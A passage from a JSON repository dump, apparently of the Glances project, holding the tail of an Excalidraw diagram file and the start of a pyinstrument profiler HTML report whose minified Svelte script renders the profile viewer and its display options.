\"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 1484.235303701863,\n      \"y\": 674.1181093129326,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 0.47060740372603505,\n      \"height\": 110.76378137413474,\n      \"seed\": 2080294919,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"boundElements\": null,\n      \"updated\": 1675590352966,\n      \"link\": null,\n      \"locked\": false,\n      \"startBinding\": null,\n      \"endBinding\": null,\n      \"lastCommittedPoint\": null,\n      \"startArrowhead\": null,\n      \"endArrowhead\": \"arrow\",\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          -0.47060740372603505,\n          110.76378137413474\n        ]\n      ]\n    },\n    {\n      \"type\": \"text\",\n      \"version\": 416,\n      \"versionNonce\": 674694855,\n      \"isDeleted\": false,\n      \"id\": \"Rd0PFLBfIckxgEJHI0gYv\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 1491.5,\n      \"y\": 700,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 69,\n      \"height\": 26,\n      \"seed\": 1013327143,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"boundElements\": null,\n      \"updated\": 1675590352966,\n      \"link\": null,\n      \"locked\": false,\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"text\": \"update\",\n      \"baseline\": 18,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"update\"\n    },\n    {\n      \"id\": \"AJrOfZ3BWcGWx-phOFTM8\",\n      \"type\": \"ellipse\",\n      \"x\": 1573,\n      \"y\": 769,\n      \"width\": 29,\n      \"height\": 29,\n      \"angle\": 0,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"seed\": 1997338857,\n      \"version\": 65,\n      \"versionNonce\": 1498437481,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1675590469409,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"type\": \"ellipse\",\n      \"version\": 108,\n      \"versionNonce\": 1598836359,\n      \"isDeleted\": false,\n      \"id\": \"7MgSBEIoPRZ3PGYWt6ttF\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 1113.5,\n      \"y\": 767.5,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 29,\n      \"height\": 29,\n      \"seed\": 1598347879,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"boundElements\": [\n        {\n          \"id\": \"JoP4A7A2IwEAe9b7xarHX\",\n          \"type\": \"arrow\"\n        }\n      ],\n      \"updated\": 1675590494704,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"id\": \"iVLKUce4Dj1p19ez2Kmis\",\n      \"type\": \"line\",\n      \"x\": 1587,\n      \"y\": 797,\n      \"width\": 1,\n      \"height\": 41,\n      \"angle\": 0,\n      \"strokeColor\": \"#495057\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 2,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"seed\": 1678897063,\n      \"version\": 23,\n      \"versionNonce\": 625487017,\n      \"isDeleted\": false,\n      \"boundElements\": null,\n      \"updated\": 1675590505143,\n      \"link\": null,\n      \"locked\": false,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          -1,\n          41\n        ]\n      ],\n      \"lastCommittedPoint\": null,\n      \"startBinding\": null,\n      \"endBinding\": null,\n      \"startArrowhead\": null,\n      \"endArrowhead\": null\n    },\n    {\n      \"id\": \"jR1l0tisTaLalG3_hgJdD\",\n      \"type\": \"line\",\n      \"x\": 1586,\n      \"y\": 837,\n      \"width\": 462,\n      \"height\": 0,\n      \"angle\": 0,\n      \"strokeColor\": \"#495057\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 2,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"seed\": 1897784839,\n      \"version\": 54,\n      \"versionNonce\": 1411190375,\n      \"isDeleted\": false,\n      \"boundElements\": null,\n      \"updated\": 1675590505143,\n      \"link\": null,\n      \"locked\": false,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          -462,\n          0\n        ]\n      ],\n      \"lastCommittedPoint\": null,\n      \"startBinding\": null,\n      \"endBinding\": null,\n      \"startArrowhead\": null,\n      \"endArrowhead\": null\n    },\n    {\n      \"id\": \"JoP4A7A2IwEAe9b7xarHX\",\n      \"type\": \"arrow\",\n      \"x\": 1125,\n      \"y\": 838,\n      \"width\": 1,\n      \"height\": 37,\n      \"angle\": 0,\n      \"strokeColor\": \"#495057\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 2,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"seed\": 1949962409,\n      \"version\": 20,\n      \"versionNonce\": 1389277065,\n      \"isDeleted\": false,\n      \"boundElements\": null,\n      \"updated\": 1675590505144,\n      \"link\": null,\n      \"locked\": false,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          1,\n          -37\n        ]\n      ],\n      \"lastCommittedPoint\": null,\n      \"startBinding\": null,\n      \"endBinding\": {\n        \"elementId\": \"7MgSBEIoPRZ3PGYWt6ttF\",\n        \"focus\": 0.10247888787140157,\n        \"gap\": 4.6049731745427955\n      },\n      \"startArrowhead\": null,\n      \"endArrowhead\": \"arrow\"\n    }\n  ],\n  \"appState\": {\n    \"gridSize\": null,\n    \"viewBackgroundColor\": \"#ffffff\"\n  },\n  \"files\": {}\n}"
  },
  {
    "path": "docs/_static/glances-pyinstrument.html",
    "content": "<!DOCTYPE html>\n            <html>\n            <head>\n                <meta charset=\"utf-8\">\n            </head>\n            <body>\n                <div id=\"app\"></div>\n\n                <script>var pyinstrumentHTMLRenderer=function(){\"use strict\";var is=Object.defineProperty;var ns=(F,ve,Pe)=>ve in F?is(F,ve,{enumerable:!0,configurable:!0,writable:!0,value:Pe}):F[ve]=Pe;var T=(F,ve,Pe)=>ns(F,typeof ve!=\"symbol\"?ve+\"\":ve,Pe);function F(){}function ve(i){return i()}function Pe(){return Object.create(null)}function oe(i){i.forEach(ve)}function pt(i){return typeof i==\"function\"}function re(i,e){return i!=i?e==e:i!==e||i&&typeof i==\"object\"||typeof i==\"function\"}function ki(i){return Object.keys(i).length===0}function St(i,...e){if(i==null){for(const n of e)n(void 0);return F}const t=i.subscribe(...e);return t.unsubscribe?()=>t.unsubscribe():t}function ge(i,e,t){i.$$.on_destroy.push(St(e,t))}function Ci(i,e,t){return i.set(t),e}function u(i,e){i.appendChild(e)}function S(i,e,t){i.insertBefore(e,t||null)}function L(i){i.parentNode&&i.parentNode.removeChild(i)}function f(i){return document.createElement(i)}function V(i){return document.createElementNS(\"http://www.w3.org/2000/svg\",i)}function I(i){return document.createTextNode(i)}function b(){return I(\" \")}function Mi(){return I(\"\")}function x(i,e,t,n){return i.addEventListener(e,t,n),()=>i.removeEventListener(e,t,n)}function vt(i){return function(e){return e.preventDefault(),i.call(this,e)}}function gt(i){return function(e){return e.stopPropagation(),i.call(this,e)}}function a(i,e,t){t==null?i.removeAttribute(e):i.getAttribute(e)!==t&&i.setAttribute(e,t)}function _t(i){let e;return{p(...t){e=t,e.forEach(n=>i.push(n))},r(){e.forEach(t=>i.splice(i.indexOf(t),1))}}}function Fi(i){return Array.from(i.childNodes)}function _e(i,e){e=\"\"+e,i.data!==e&&(i.data=e)}function ae(i,e){i.value=e??\"\"}function j(i,e,t,n){t==null?i.style.removeProperty(e):i.style.setProperty(e,t,\"\")}function Ee(i,e,t){i.classList.toggle(e,!!t)}function Pi(i,e,{bubbles:t=!1,cancelable:n=!1}={}){return new CustomEvent(i,{detail:e,bubbles:t,cancelable:n})}class Ri{constructor(e=!1){T(this,\"is_svg\",!1);T(this,\"e\");T(this,\"n\");T(this,\"t\");T(this,\"a\");this.is_svg=e,this.e=this.n=null}c(e){this.h(e)}m(e,t,n=null){this.e||(this.is_svg?this.e=V(t.nodeName):this.e=f(t.nodeType===11?\"TEMPLATE\":t.nodeName),this.t=t.tagName!==\"TEMPLATE\"?t:t.content,this.c(e)),this.i(n)}h(e){this.e.innerHTML=e,this.n=Array.from(this.e.nodeName===\"TEMPLATE\"?this.e.content.childNodes:this.e.childNodes)}i(e){for(let t=0;t<this.n.length;t+=1)S(this.t,this.n[t],e)}p(e){this.d(),this.h(e),this.i(this.a)}d(){this.n.forEach(L)}}let Ye;function Xe(i){Ye=i}function wt(){if(!Ye)throw new Error(\"Function called outside component initialization\");return Ye}function bt(i){wt().$$.on_mount.push(i)}function Ii(i){wt().$$.on_destroy.push(i)}function Li(){const i=wt();return(e,t,{cancelable:n=!1}={})=>{const s=i.$$.callbacks[e];if(s){const l=Pi(e,t,{cancelable:n});return s.slice().forEach(r=>{r.call(i,l)}),!l.defaultPrevented}return!0}}const Se=[],ke=[];let De=[];const Dt=[],Si=Promise.resolve();let yt=!1;function Di(){yt||(yt=!0,Si.then(Ht))}function Tt(i){De.push(i)}const At=new Set;let He=0;function Ht(){if(He!==0)return;const i=Ye;do{try{for(;He<Se.length;){const e=Se[He];He++,Xe(e),Hi(e.$$)}}catch(e){throw Se.length=0,He=0,e}for(Xe(null),Se.length=0,He=0;ke.length;)ke.pop()();for(let e=0;e<De.length;e+=1){const t=De[e];At.has(t)||(At.add(t),t())}De.length=0}while(Se.length);for(;Dt.length;)Dt.pop()();yt=!1,At.clear(),Xe(i)}function Hi(i){if(i.fragment!==null){i.update(),oe(i.before_update);const e=i.dirty;i.dirty=[-1],i.fragment&&i.fragment.p(i.ctx,e),i.after_update.forEach(Tt)}}function Oi(i){const e=[],t=[];De.forEach(n=>i.indexOf(n)===-1?e.push(n):t.push(n)),t.forEach(n=>n()),De=e}const nt=new Set;let Re;function Oe(){Re={r:0,c:[],p:Re}}function Ve(){Re.r||oe(Re.c),Re=Re.p}function D(i,e){i&&i.i&&(nt.delete(i),i.i(e))}function N(i,e,t,n){if(i&&i.o){if(nt.has(i))return;nt.add(i),Re.c.push(()=>{nt.delete(i),n&&(t&&i.d(1),n())}),i.o(e)}else n&&n()}function Ot(i){return(i==null?void 0:i.length)!==void 0?i:Array.from(i)}function Vi(i,e){N(i,1,1,()=>{e.delete(i.key)})}function xi(i,e,t,n,s,l,r,o,c,d,v,p){let m=i.length,h=l.length,g=m;const w={};for(;g--;)w[i[g].key]=g;const E=[],C=new Map,y=new Map,k=[];for(g=h;g--;){const M=p(s,l,g),_=t(M);let A=r.get(_);A?k.push(()=>A.p(M,e)):(A=d(_,M),A.c()),C.set(_,E[g]=A),_ in w&&y.set(_,Math.abs(g-w[_]))}const H=new Set,W=new Set;function P(M){D(M,1),M.m(o,v),r.set(M.key,M),v=M.first,h--}for(;m&&h;){const M=E[h-1],_=i[m-1],A=M.key,R=_.key;M===_?(v=M.first,m--,h--):C.has(R)?!r.has(A)||H.has(A)?P(M):W.has(R)?m--:y.get(A)>y.get(R)?(W.add(A),P(M)):(H.add(R),m--):(c(_,r),m--)}for(;m--;){const M=i[m];C.has(M.key)||c(M,r)}for(;h;)P(E[h-1]);return oe(k),E}function we(i){i&&i.c()}function ce(i,e,t){const{fragment:n,after_update:s}=i.$$;n&&n.m(e,t),Tt(()=>{const l=i.$$.on_mount.map(ve).filter(pt);i.$$.on_destroy?i.$$.on_destroy.push(...l):oe(l),i.$$.on_mount=[]}),s.forEach(Tt)}function ue(i,e){const t=i.$$;t.fragment!==null&&(Oi(t.after_update),oe(t.on_destroy),t.fragment&&t.fragment.d(e),t.on_destroy=t.fragment=null,t.ctx=[])}function Ni(i,e){i.$$.dirty[0]===-1&&(Se.push(i),Di(),i.$$.dirty.fill(0)),i.$$.dirty[e/31|0]|=1<<e%31}function de(i,e,t,n,s,l,r=null,o=[-1]){const c=Ye;Xe(i);const d=i.$$={fragment:null,ctx:[],props:l,update:F,not_equal:s,bound:Pe(),on_mount:[],on_destroy:[],on_disconnect:[],before_update:[],after_update:[],context:new Map(e.context||(c?c.$$.context:[])),callbacks:Pe(),dirty:o,skip_bound:!1,root:e.target||c.$$.root};r&&r(d.root);let v=!1;if(d.ctx=t?t(i,e.props||{},(p,m,...h)=>{const g=h.length?h[0]:m;return d.ctx&&s(d.ctx[p],d.ctx[p]=g)&&(!d.skip_bound&&d.bound[p]&&d.bound[p](g),v&&Ni(i,p)),m}):[],d.update(),v=!0,oe(d.before_update),d.fragment=n?n(d.ctx):!1,e.target){if(e.hydrate){const p=Fi(e.target);d.fragment&&d.fragment.l(p),p.forEach(L)}else d.fragment&&d.fragment.c();e.intro&&D(i.$$.fragment),ce(i,e.target,e.anchor),Ht()}Xe(c)}class he{constructor(){T(this,\"$$\");T(this,\"$$set\")}$destroy(){ue(this,1),this.$destroy=F}$on(e,t){if(!pt(t))return F;const n=this.$$.callbacks[e]||(this.$$.callbacks[e]=[]);return n.push(t),()=>{const s=n.indexOf(t);s!==-1&&n.splice(s,1)}}$set(e){this.$$set&&!ki(e)&&(this.$$.skip_bound=!0,this.$$set(e),this.$$.skip_bound=!1)}}const $i=\"4\";typeof window<\"u\"&&(window.__svelte||(window.__svelte={v:new Set})).v.add($i);function Bi(i){let e,t;return{c(){e=V(\"svg\"),t=V(\"path\"),a(t,\"fill-rule\",\"evenodd\"),a(t,\"clip-rule\",\"evenodd\"),a(t,\"d\",\"M5.11634 0.889422C4.86506 -0.296474 3.17237 -0.296474 2.92109 0.889422C2.78291 1.54158 2.10994 1.93011 1.47607 1.72371C0.323418 1.34837 -0.522932 2.81429 0.378448 3.62484C0.87414 4.07059 0.87414 4.84767 0.378448 5.29341C-0.522931 6.10397 0.323418 7.56989 1.47607 7.19455C2.10994 6.98814 2.78291 7.37668 2.92109 8.02883C3.17237 9.21473 4.86506 9.21473 5.11634 8.02883C5.25452 7.37668 5.92749 6.98814 6.56136 7.19455C7.71401 7.56989 8.56036 6.10397 7.65898 5.29341C7.16329 4.84767 7.16329 4.07059 7.65898 3.62484C8.56036 2.81429 7.71401 1.34837 6.56136 1.72371C5.92749 1.93011 5.25452 1.54158 5.11634 0.889422ZM4.01883 6.33408C5.05436 6.33408 5.89383 5.49462 5.89383 4.45908C5.89383 3.42355 5.05436 2.58408 4.01883 2.58408C2.98329 2.58408 2.14383 3.42355 2.14383 4.45908C2.14383 5.49462 2.98329 6.33408 4.01883 6.33408Z\"),a(t,\"fill\",\"currentColor\"),a(e,\"width\",\"9\"),a(e,\"height\",\"9\"),a(e,\"viewBox\",\"0 0 9 9\"),a(e,\"fill\",\"none\"),a(e,\"xmlns\",\"http://www.w3.org/2000/svg\")},m(n,s){S(n,e,s),u(e,t)},p:F,i:F,o:F,d(n){n&&L(e)}}}class zi extends he{constructor(e){super(),de(this,e,null,Bi,re,{})}}function Wi(i){let e,t,n,s,l,r,o,c,d,v,p,m,h,g,w,E,C;return{c(){e=V(\"svg\"),t=V(\"g\"),n=V(\"path\"),s=V(\"path\"),l=V(\"defs\"),r=V(\"filter\"),o=V(\"feFlood\"),c=V(\"feBlend\"),d=V(\"feGaussianBlur\"),v=V(\"linearGradient\"),p=V(\"stop\"),m=V(\"stop\"),h=V(\"stop\"),g=V(\"linearGradient\"),w=V(\"stop\"),E=V(\"stop\"),C=V(\"stop\"),a(n,\"fill-rule\",\"evenodd\"),a(n,\"clip-rule\",\"evenodd\"),a(n,\"d\",\"M30 9H10V11.5H30V9ZM30 19H12.5V21.5H30V19ZM12.5 14H32.5V16.5H12.5V14ZM20 24H12.5V26.5H20V24ZM12.5 29H20V31.5H12.5V29ZM22.5 34H10V36.5H22.5V34Z\"),a(n,\"fill\",\"url(#paint0_linear_67_262)\"),a(t,\"opacity\",\"0.5\"),a(t,\"filter\",\"url(#filter0_f_67_262)\"),a(s,\"fill-rule\",\"evenodd\"),a(s,\"clip-rule\",\"evenodd\"),a(s,\"d\",\"M30 9H10V11.5H30V9ZM30 19H12.5V21.5H30V19ZM12.5 14H32.5V16.5H12.5V14ZM20 24H12.5V26.5H20V24ZM12.5 29H20V31.5H12.5V29ZM22.5 34H10V36.5H22.5V34Z\"),a(s,\"fill\",\"url(#paint1_linear_67_262)\"),a(o,\"flood-opacity\",\"0\"),a(o,\"result\",\"BackgroundImageFix\"),a(c,\"mode\",\"normal\"),a(c,\"in\",\"SourceGraphic\"),a(c,\"in2\",\"BackgroundImageFix\"),a(c,\"result\",\"shape\"),a(d,\"stdDeviation\",\"3.39785\"),a(d,\"result\",\"effect1_foregroundBlur_67_262\"),a(r,\"id\",\"filter0_f_67_262\"),a(r,\"x\",\"3.2043\"),a(r,\"y\",\"2.2043\"),a(r,\"width\",\"36.0914\"),a(r,\"height\",\"41.0914\"),a(r,\"filterUnits\",\"userSpaceOnUse\"),a(r,\"color-interpolation-filters\",\"sRGB\"),a(p,\"stop-color\",\"#FFAA00\"),a(m,\"offset\",\"0.514478\"),a(m,\"stop-color\",\"#FFEB00\"),a(h,\"offset\",\"1\"),a(h,\"stop-color\",\"#98FF05\"),a(v,\"id\",\"paint0_linear_67_262\"),a(v,\"x1\",\"7.3769\"),a(v,\"y1\",\"18.4566\"),a(v,\"x2\",\"20.6583\"),a(v,\"y2\",\"33.1038\"),a(v,\"gradientUnits\",\"userSpaceOnUse\"),a(w,\"stop-color\",\"#FFC834\"),a(E,\"offset\",\"0.514478\"),a(E,\"stop-color\",\"#FAF534\"),a(C,\"offset\",\"1\"),a(C,\"stop-color\",\"#B8FF38\"),a(g,\"id\",\"paint1_linear_67_262\"),a(g,\"x1\",\"7.3769\"),a(g,\"y1\",\"18.4566\"),a(g,\"x2\",\"20.6583\"),a(g,\"y2\",\"33.1038\"),a(g,\"gradientUnits\",\"userSpaceOnUse\"),a(e,\"width\",\"44\"),a(e,\"height\",\"44\"),a(e,\"viewBox\",\"0 0 44 44\"),a(e,\"fill\",\"none\"),a(e,\"xmlns\",\"http://www.w3.org/2000/svg\")},m(y,k){S(y,e,k),u(e,t),u(t,n),u(e,s),u(e,l),u(l,r),u(r,o),u(r,c),u(r,d),u(l,v),u(v,p),u(v,m),u(v,h),u(l,g),u(g,w),u(g,E),u(g,C)},p:F,i:F,o:F,d(y){y&&L(e)}}}class qi extends he{constructor(e){super(),de(this,e,null,Wi,re,{})}}const xe=[];function Ui(i,e){return{subscribe:st(i,e).subscribe}}function st(i,e=F){let t;const n=new Set;function s(o){if(re(i,o)&&(i=o,t)){const c=!xe.length;for(const d of n)d[1](),xe.push(d,i);if(c){for(let d=0;d<xe.length;d+=2)xe[d][0](xe[d+1]);xe.length=0}}}function l(o){s(o(i))}function r(o,c=F){const d=[o,c];return n.add(d),n.size===1&&(t=e(s,l)||F),o(i),()=>{n.delete(d),n.size===0&&t&&(t(),t=null)}}return{set:s,update:l,subscribe:r}}function Vt(i,e,t){const n=!Array.isArray(i),s=n?[i]:i;if(!s.every(Boolean))throw new Error(\"derived() expects stores as input, got a falsy value\");const l=e.length<2;return Ui(t,(r,o)=>{let c=!1;const d=[];let v=0,p=F;const m=()=>{if(v)return;p();const g=e(n?d[0]:d,r,o);l?r(g):p=pt(g)?g:F},h=s.map((g,w)=>St(g,E=>{d[w]=E,v&=~(1<<w),c&&m()},()=>{v|=1<<w}));return c=!0,m(),function(){oe(h),p(),c=!1}})}var Et={local:{},session:{}};function Yi(i){return i===\"local\"?localStorage:sessionStorage}function kt(i,e,t){var n,s,l,r,o,c,d,v;t!=null&&t.onError&&console.warn(\"onError has been deprecated. Please use onWriteError instead\");const p=(n=t==null?void 0:t.serializer)!=null?n:JSON,m=(s=t==null?void 0:t.storage)!=null?s:\"local\",h=(l=t==null?void 0:t.syncTabs)!=null?l:!0,g=(o=(r=t==null?void 0:t.onWriteError)!=null?r:t==null?void 0:t.onError)!=null?o:P=>console.error(`Error when writing value from persisted store \"${i}\" to ${m}`,P),w=(c=t==null?void 0:t.onParseError)!=null?c:(P,M)=>console.error(`Error when parsing ${P?'\"'+P+'\"':\"value\"} from persisted store \"${i}\"`,M),E=(d=t==null?void 0:t.beforeRead)!=null?d:P=>P,C=(v=t==null?void 0:t.beforeWrite)!=null?v:P=>P,y=typeof window<\"u\"&&typeof document<\"u\",k=y?Yi(m):null;function H(P,M){const _=C(M);try{k==null||k.setItem(P,p.stringify(_))}catch(A){g(A)}}function W(){function P(R){try{return p.parse(R)}catch(B){w(R,B)}}const M=k==null?void 0:k.getItem(i);if(M==null)return e;const _=P(M);return _==null?e:E(_)}if(!Et[m][i]){const P=W(),M=st(P,R=>{if(y&&m==\"local\"&&h){const B=J=>{if(J.key===i&&J.newValue){let $;try{$=p.parse(J.newValue)}catch(ee){w(J.newValue,ee);return}const Le=E($);R(Le)}};return window.addEventListener(\"storage\",B),()=>window.removeEventListener(\"storage\",B)}}),{subscribe:_,set:A}=M;Et[m][i]={set(R){A(R),H(i,R)},update(R){return M.update(B=>{const J=R(B);return H(i,J),J})},reset(){this.set(e)},subscribe:_}}return Et[m][i]}function xt(){return{collapseMode:\"non-application\",collapseCustomHide:\"\",collapseCustomShow:\"\",removeImportlib:!0,removeTracebackHide:!0,removePyinstrument:!0,removeIrrelevant:!0,removeIrrelevantThreshold:.001,timeFormat:\"absolute\"}}const Z=kt(\"pyinstrument:viewOptionsCallStack\",xt(),{syncTabs:!0,beforeRead(i){return{...xt(),...i}}}),Ge=kt(\"pyinstrument:viewOptions\",{viewMode:\"call-stack\"},{syncTabs:!1}),je=kt(\"pyinstrument:viewOptionsTimeline\",{removeImportlib:!0,removeTracebackHide:!0,removePyinstrument:!0,removeIrrelevant:!0,removeIrrelevantThreshold:1e-4},{syncTabs:!0});class Xi extends Error{constructor(e){super(`Unreachable case: ${e}`)}}function Gi(i,e){const t=e*(i.length-1),n=Math.floor(t),s=Math.ceil(t),l=i[n],r=i[s],o=t-n;return Zi(o,{to:[l,r]})}function ji(i,e,t){return i===1/0?(console.warn(\"clamp: value is Infinity, returning `max`\",i),t):i===-1/0?(console.warn(\"clamp: value is -Infinity, returning `min`\",i),e):Number.isFinite(i)?i<e?e:i>t?t:i:(console.warn(\"clamp: value isn't finite, returning `min`\",i),e)}function Ne(i,e){const{from:t=[0,1],to:n=[0,1]}=e,s=e.clamp||!1;let l=(i-t[0])/(t[1]-t[0])*(n[1]-n[0])+n[0];return s&&(l=ji(l,Math.min(n[0],n[1]),Math.max(n[0],n[1]))),l}function Zi(i,e){return`rgb(\n      ${Ne(i,{from:e.from,to:[e.to[0][0],e.to[1][0]],clamp:e.clamp})},\n      ${Ne(i,{from:e.from,to:[e.to[0][1],e.to[1][1]],clamp:e.clamp})},\n      ${Ne(i,{from:e.from,to:[e.to[0][2],e.to[1][2]],clamp:e.clamp})}\n    )`}function Ki(i){if(i.substr(0,1)==\"#\"){var e=(i.length-1)/3,t=[17,1,.062272][e-1];return[Math.round(parseInt(i.substr(1,e),16)*t),Math.round(parseInt(i.substr(1+e,e),16)*t),Math.round(parseInt(i.substr(1+2*e,e),16)*t)]}else return i.split(\"(\")[1].split(\")\")[0].split(\",\").map(n=>+n)}function Qi(i,e,t={}){const{ignore:n=[],capture:s=!0}=t,l=window;if(!l)return()=>{};let r=!0,o=!1;const c=h=>n.some(g=>typeof g==\"string\"?Array.from(document.querySelectorAll(g)).some(w=>w===h.target||h.composedPath().includes(w)):g&&(h.target===g||h.composedPath().includes(g))),d=h=>{if(!(!i||i===h.target||h.composedPath().includes(i))){if(h.detail===0&&(r=!c(h)),!r){r=!0;return}e(h)}},v=h=>{o||(o=!0,setTimeout(()=>{o=!1},0),d(h))},p=h=>{r=!c(h)&&!!(i&&!h.composedPath().includes(i))};return l.addEventListener(\"click\",v,{passive:!0,capture:s}),l.addEventListener(\"pointerdown\",p,{passive:!0}),()=>{l.removeEventListener(\"click\",v,{capture:s}),l.removeEventListener(\"pointerdown\",p)}}function Ji(i){const e=document.createElement(\"div\");return e.appendChild(document.createTextNode(i)),e.innerHTML}function Ct(i){return Ji(i).replace(/(\\/|\\\\)/g,t=>`${t}<wbr>`)}function en(i,e){if(i.length==0)return null;let t=i[0],n=e(t);for(const s of i){const l=e(s);l>n&&(t=s,n=l)}return t}function ot(){return Math.random().toString(36).substring(2)}function tn(i){let e,t,n,s,l,r,o,c,d,v,p,m,h,g,w,E,C,y,k,H,W,P,M,_,A,R,B,J,$,Le,ee,Q,Y,Ce,q,Qe,Je,le,U,et,te,fe,me,be,pe,Te,tt,Ae,K,Be,Me,it,z,O,X,hi,at,fi,mi,ze,Fe,pi,We,ct,vi,gi,ye,_i,wi,qe,ut,bi,Ue,dt,ht,ie,yi,Ti,ft,mt,ne,Ai,Rt,It,Lt,Ei;return Rt=_t(i[5][0]),It=_t(i[5][1]),{c(){e=f(\"div\"),t=f(\"div\"),n=f(\"div\"),n.textContent=\"Collapse frames\",s=b(),l=f(\"div\"),r=f(\"div\"),o=f(\"input\"),c=b(),d=f(\"label\"),v=I(\"Library code\"),p=b(),m=f(\"div\"),m.textContent=\"Code run from the Python stdlib, a virtualenv, or a conda env will be collapsed.\",h=b(),g=f(\"div\"),w=f(\"input\"),E=b(),C=f(\"label\"),y=I(\"Custom\"),k=b(),H=f(\"div\"),W=I(`Regex on the source file path.\n          `),P=f(\"div\"),M=f(\"label\"),M.textContent=\"Show\",_=b(),A=f(\"input\"),R=b(),B=f(\"label\"),B.textContent=\"Hide\",J=b(),$=f(\"input\"),Le=I(`\n          If neither match, the library code rule is used.`),ee=b(),Q=f(\"div\"),Y=f(\"input\"),Ce=b(),q=f(\"label\"),Qe=I(\"Disabled\"),Je=b(),le=f(\"div\"),U=f(\"div\"),U.textContent=\"Remove frames\",et=b(),te=f(\"div\"),fe=f(\"div\"),me=f(\"input\"),be=b(),pe=f(\"label\"),Te=I(\"importlib machinery\"),tt=b(),Ae=f(\"div\"),K=f(\"input\"),Be=b(),Me=f(\"label\"),it=I(\"Frames declaring __traceback_hide__\"),z=b(),O=f(\"div\"),X=f(\"input\"),hi=b(),at=f(\"label\"),fi=I(\"pyinstrument frames\"),mi=b(),ze=f(\"div\"),Fe=f(\"input\"),pi=b(),We=f(\"span\"),ct=f(\"label\"),vi=I(\"Frames with durations less than\"),gi=b(),ye=f(\"input\"),_i=I(`\n          % of the total time`),wi=b(),qe=f(\"div\"),ut=f(\"div\"),ut.textContent=\"Time format\",bi=b(),Ue=f(\"div\"),dt=f(\"div\"),ht=f(\"label\"),ie=f(\"input\"),yi=I(`\n          Absolute time in seconds`),Ti=b(),ft=f(\"div\"),mt=f(\"label\"),ne=f(\"input\"),Ai=I(`\n          Percentage of the total run time`),a(n,\"class\",\"name svelte-1pecl4m\"),a(o,\"id\",i[1]+\"collapseModeAll\"),a(o,\"type\",\"radio\"),o.__value=\"non-application\",ae(o,o.__value),a(o,\"class\",\"svelte-1pecl4m\"),a(d,\"for\",i[1]+\"collapseModeAll\"),a(m,\"class\",\"description svelte-1pecl4m\"),a(r,\"class\",\"option svelte-1pecl4m\"),a(w,\"id\",i[1]+\"collapseModeCustom\"),a(w,\"type\",\"radio\"),w.__value=\"custom\",ae(w,w.__value),a(w,\"class\",\"svelte-1pecl4m\"),a(C,\"for\",i[1]+\"collapseModeCustom\"),a(M,\"for\",\"collapseCustomShow\"),a(M,\"class\",\"svelte-1pecl4m\"),a(A,\"id\",\"collapseCustomShow\"),a(A,\"type\",\"text\"),a(A,\"placeholder\",\"myproject\"),a(A,\"spellcheck\",\"false\"),a(A,\"autocapitalize\",\"off\"),a(A,\"autocomplete\",\"off\"),a(A,\"autocorrect\",\"off\"),a(A,\"class\",\"svelte-1pecl4m\"),a(B,\"for\",\"collapseCustomHide\"),a(B,\"class\",\"svelte-1pecl4m\"),a($,\"id\",\"collapseCustomHide\"),a($,\"type\",\"text\"),a($,\"placeholder\",\".*/lib/.*\"),a($,\"spellcheck\",\"false\"),a($,\"autocapitalize\",\"off\"),a($,\"autocomplete\",\"off\"),a($,\"autocorrect\",\"off\"),a($,\"class\",\"svelte-1pecl4m\"),a(P,\"class\",\"mini-input-grid svelte-1pecl4m\"),a(H,\"class\",\"description svelte-1pecl4m\"),a(g,\"class\",\"option svelte-1pecl4m\"),a(Y,\"id\",i[1]+\"collapseModeDisabled\"),a(Y,\"type\",\"radio\"),Y.__value=\"disabled\",ae(Y,Y.__value),a(Y,\"class\",\"svelte-1pecl4m\"),a(q,\"for\",i[1]+\"collapseModeDisabled\"),a(Q,\"class\",\"option svelte-1pecl4m\"),a(l,\"class\",\"body\"),a(t,\"class\",\"option-group svelte-1pecl4m\"),a(U,\"class\",\"name 